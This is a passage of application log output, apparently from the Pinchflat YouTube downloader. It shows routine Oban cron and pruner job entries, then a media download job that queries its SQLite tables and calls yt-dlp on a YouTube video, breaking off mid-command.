{"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:25:18.504 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:48.506 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:00.681 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:26:18.509 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:48.510 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:00.682 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:27:18.513 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:48.515 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:00.683 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:28:18.516 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:48.518 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:00.684 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:29:18.520 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:48.522 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:00.685 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:30:18.525 [info] {"source":"oban","duration":1707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:48.528 [info] {"source":"oban","duration":1705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:00.687 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:31:18.531 [info] {"source":"oban","duration":1711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:48.533 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:00.688 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:32:18.535 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:48.537 [info] {"source":"oban","duration":1682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:00.689 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:33:18.540 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:48.542 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:00.690 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:34:18.544 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:48.546 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:00.691 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:35:18.548 [info] {"source":"oban","duration":1644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:48.551 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:00.692 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:36:18.553 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:48.555 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:00.693 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:37:18.558 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:48.560 [info] {"source":"oban","duration":1706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:00.694 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:38:18.563 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:48.565 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:00.695 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:39:18.568 [info] {"source":"oban","duration":1679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:48.571 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:00.696 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:40:18.573 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:48.576 [info] {"source":"oban","duration":1737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:00.697 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:41:18.579 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:48.581 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:00.698 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:42:18.584 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:48.586 [info] {"source":"oban","duration":1827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:00.700 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:43:18.589 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:48.591 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:00.701 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:44:18.593 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:48.595 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:00.702 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:45:18.597 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:48.598 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:00.703 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:46:18.601 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:48.602 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:00.705 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:47:18.603 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:48.605 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:00.706 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:48:18.607 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:48.608 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:00.707 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:49:18.610 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:48.611 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:00.708 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:50:18.612 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:48.613 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:00.709 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:51:18.615 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:48.618 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:00.710 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:52:18.621 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:48.622 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:00.711 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:53:18.624 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:48.626 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:00.712 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:54:18.628 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:48.630 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:00.713 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:55:18.631 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:48.632 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:00.714 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:56:18.633 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:48.635 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:00.715 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:57:18.636 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:48.638 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:00.716 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:58:18.642 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:48.644 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:00.717 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:59:18.645 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:48.647 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:00.719 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:00:18.649 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:48.650 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:00.720 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:01:18.653 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:48.654 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:00.721 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:02:18.655 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:48.656 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:00.722 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:03:18.657 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:48.658 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:00.723 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:04:18.659 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:48.660 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.723 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:05:18.661 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:48.662 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.725 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:06:18.664 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:48.665 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.726 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:07:18.666 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:48.668 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.727 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:08:18.670 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:48.671 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.728 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:09:18.672 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:48.675 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:00.729 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:10:18.677 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:48.679 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.730 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:11:18.680 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:48.682 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.731 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:12:18.683 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:48.685 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.732 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:13:18.687 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:48.689 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.732 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:14:18.691 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:48.692 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.734 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:15:18.693 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:48.695 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.735 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:16:18.697 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:48.698 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.736 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:17:18.700 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:48.703 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.736 [info] {"source":"oban","duration":164,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:18:18.705 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:48.707 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.738 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:19:18.709 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:48.710 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.740 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:20:18.713 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:48.714 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.741 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:21:18.716 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:48.718 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.742 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:22:10.176 [info] {"args":{"id":150},"id":117,"meta":{},"system_time":1784888530176276455,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 06:22:10.176 [debug] QUERY OK source="media_items" db=0.3ms idle=445.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [150] 06:22:10.177 [info] User scripts lifecyle file either not present or is empty. Skipping. 06:22:10.177 [debug] QUERY OK source="sources" db=0.3ms idle=446.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 06:22:10.177 [debug] QUERY OK source="media_profiles" db=0.1ms idle=446.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:22:10.178 [debug] QUERY OK source="media_items" db=0.4ms idle=165.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [150] 06:22:10.179 [debug] QUERY OK source="media_metadata" db=0.0ms idle=3.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [150] 06:22:10.179 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:22:10.179 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:22:10.179 [debug] Running yt-dlp command for action: get_downloadable_status 06:22:10.180 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:22:10.180 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:22:10.180 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:22:10.180 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/35/28/35288b4e673ff5ca4443d70b4de14901a71acbadc9b1f9211f5b113e033c3b5c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 06:22:12.250 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/35/28/35288b4e673ff5ca4443d70b4de14901a71acbadc9b1f9211f5b113e033c3b5c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 06:22:12.251 [debug] Running yt-dlp command for action: download 06:22:12.251 [debug] QUERY OK source="settings" db=0.1ms idle=520.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:22:12.251 [debug] QUERY OK source="settings" db=0.0ms idle=520.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:22:12.251 [debug] QUERY OK source="settings" db=0.0ms idle=520.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:22:12.251 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) 